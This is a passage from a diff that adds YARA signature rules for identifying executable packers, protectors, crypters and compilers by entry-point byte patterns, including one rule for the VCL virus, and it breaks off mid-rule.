+		$0 = {50 32 C4 8A C3 58 E8 DE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESPin_13__Cyberbob_h_
+{
+	meta:
+		description = "PESPin 1.3 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+		$1 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85}
+		$2 = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+		$3 = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+		$4 = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+		$5 = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+		$6 = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+		$7 = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+		$8 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+		$9 = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint or $9 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_640__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) 6.4.0 -> Safenet"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+	condition:
+		$0
+}
+rule _kryptor_5_
+{
+	meta:
+		description = "kryptor 5"
+	strings:
+		$0 = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector__vcasm_
+{
+	meta:
+		description = "VProtector -> vcasm"
+	strings:
+		$0 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F}
+		$1 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00}
+		$2 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C}
+		$3 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00}
+		$4 = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00}
+	condition:
+		$0 or $1 at entrypoint or $2 or $3 or $4
+}
+rule _JDPack_V200__JDPack_
+{
+	meta:
+		description = "JDPack V2.00 -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Fish_PE_Shield_112116__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.12/1.16 -> HellFish"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC}
+		$1 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B}
+		$2 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00}
+		$3 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+	condition:
+		$0 or $1 or $2 at entrypoint or $3 at entrypoint
+}
+rule _Turbo_Pascal_v20_1984_
+{
+	meta:
+		description = "Turbo Pascal v2.0 1984"
+	strings:
+		$0 = {90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 34}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_020_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.20 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Pascal_v70_for_Windows_
+{
+	meta:
+		description = "Borland Pascal v7.0 for Windows"
+	strings:
+		$0 = {9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _diProtector_1x__diProtector_Software_
+{
+	meta:
+		description = "diProtector 1.x -> diProtector Software"
+	strings:
+		$0 = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v12__v13_
+{
+	meta:
+		description = "Morphine v1.2 - v1.3"
+	strings:
+		$0 = {FF 25 34 ?? 5A 00 8B C0 FF 25 38 ?? 5A 00 8B C0}
+	condition:
+		$0
+}
+rule _MSVCpp_DLL_v8_typical_OEP_recognized__h_
+{
+	meta:
+		description = "MSVC++ DLL v.8 (typical OEP recognized - h)"
+	strings:
+		$0 = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? ?? ?? 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 ?? ?? ?? FF 85 C0 75 04 33 C0 EB 4E 57 56 53 E8 ?? ?? ?? FF 83 FE 01 89 45 0C 75 0C 85 C0 75 37 57 50 53 E8 ?? ?? ?? FF 85 F6 74 05 83 FE 03 75 26 57 56 53 E8 ?? ?? ?? FF 85 C0 75 03 21 45 0C 83 7D 0C 00 74 11 A1 ?? ?? ?? ?? 85 C0 74 08 57 56 53 FF D0 89 45 0C 8B 45 0C 5F 5E 5B 5D C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_106_
+{
+	meta:
+		description = "Free Pascal 1.06"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_MinGW_GCC_2x_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MinGW GCC 2.x]"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_113__cyclotron_
+{
+	meta:
+		description = "EmbedPE 1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00}
+		$1 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+		$2 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 A3 F5 0B 85 97 7C BA 1D 96 DD 07 F8 FD D2 3A 98 83 CC 46 99 9D DF 6F 89 92 54 46 9F 94 43 CC 41 43 9B 8C 61 B9 D8 6F 96 3B D1 07 32 24 DD 07 05 8E CB 6F A1 07 5C 62 20 E0 DB BA 9D 83 54 46 E6 83 51 7A 2B 94 54 64 8A 83 05 68 D7 5E 2D C6 B7 57 00 B3 E8 3C 71 B8 3C 97 7C 36 19 32 7C 08 2A 06 51 64 73 A3 F1 4E 92 25 CB 80 8D 99 54 46 B0 E1 D3 46 A5 2D 10 68 B6 83 91 46 F2 DF 64 FD D1 BC CA AA 70 E2 AB 39 AE 3B 5A 6F 9B 15 BD 25 98 25 30 4C AD 7D 55 07 A8 A3 AC 0A C1 BD 54 72 BC 83 54 82 A3 97 B1 1A B3 83 54 46 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXE_Stealth_v271_
+{
+	meta:
+		description = "EXE Stealth v2.71"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2 DLL"
+	strings:
+		$0 = {53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_110_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_V2X__MoleStudiocom_
+{
+	meta:
+		description = "MoleBox V2.X -> MoleStudio.com"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Reflexive_Arcade_Wrapper_
+{
+	meta:
+		description = "Reflexive Arcade Wrapper"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
+		$1 = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8 42 00 33 F6 56 E8 58 43 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 23 40 00 00 FF 15 18 51 42 00 A3 44 FE 42 00 E8 E1 3E 00 00 A3 78 E8 42 00 E8 8A 3C 00 00 E8 CC 3B 00 00 E8 3E F5 FF FF 89 75 D0 8D 45 A4 50 FF 15 14 51 42 00 E8 5D 3B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 10 51 42 00 50 E8 0D 6E FE FF 89 45 A0 50 E8 2C F5 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 9B 39 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 1E F5 FF FF 83 3D 80 E8 42 00 01 75 05 E8 F3 43 00 00 FF 74 24 04 E8 23 44 00 00 68 FF 00 00 00 FF 15 B0 B8 42 00 59 59 C3 83 3D 80 E8 42 00 01 75 05 E8 CE 43 00 00 FF 74 24 04 E8 FE 43 00 00 59 68 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Warning_may_be_SimbyOZ_polycryptor_by_3xpl01t_ver_2xx_25032007_2200_
+{
+	meta:
+		description = "Warning! may be SimbyOZ polycryptor by 3xpl01t ver 2.xx (25.03.2007 22:00)"
+	strings:
+		$0 = {57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PassEXE_v20_
+{
+	meta:
+		description = "PassEXE v2.0"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_v40_
+{
+	meta:
+		description = "Crunch v4.0"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+	condition:
+		$0 at entrypoint
+}
+rule _Copy_Protector_v20_
+{
+	meta:
+		description = "Copy Protector v2.0"
+	strings:
+		$0 = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _D1S1G_v11_Beta_pp_Scrambled_EXE__D1N_
+{
+	meta:
+		description = "D1S1G v1.1 Beta ++ Scrambled EXE -> D1N"
+	strings:
+		$0 = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B}
+	condition:
+		$0
+}
+rule _North_Star_PE_Shrinker_13__Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker 1.3 -> Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP_2x_Patcher__wwwdiablo2oo2cjbnet_
+{
+	meta:
+		description = "dUP 2.x Patcher -> www.diablo2oo2.cjb.net"
+	strings:
+		$0 = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+	condition:
+		$0
+}
+rule _Vx_VCL_encrypted_
+{
+	meta:
+		description = "Vx: VCL (encrypted)"
+	strings:
+		$0 = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+		$1 = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_Setup_Module_
+{
+	meta:
+		description = "Borland Delphi Setup Module"
+	strings:
+		$0 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_1X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _WinUpack_v039_final__By_Dwing_c2005_h1_
+{
+	meta:
+		description = "WinUpack v0.39 final -> By Dwing (c)2005 (h1)"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$2 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 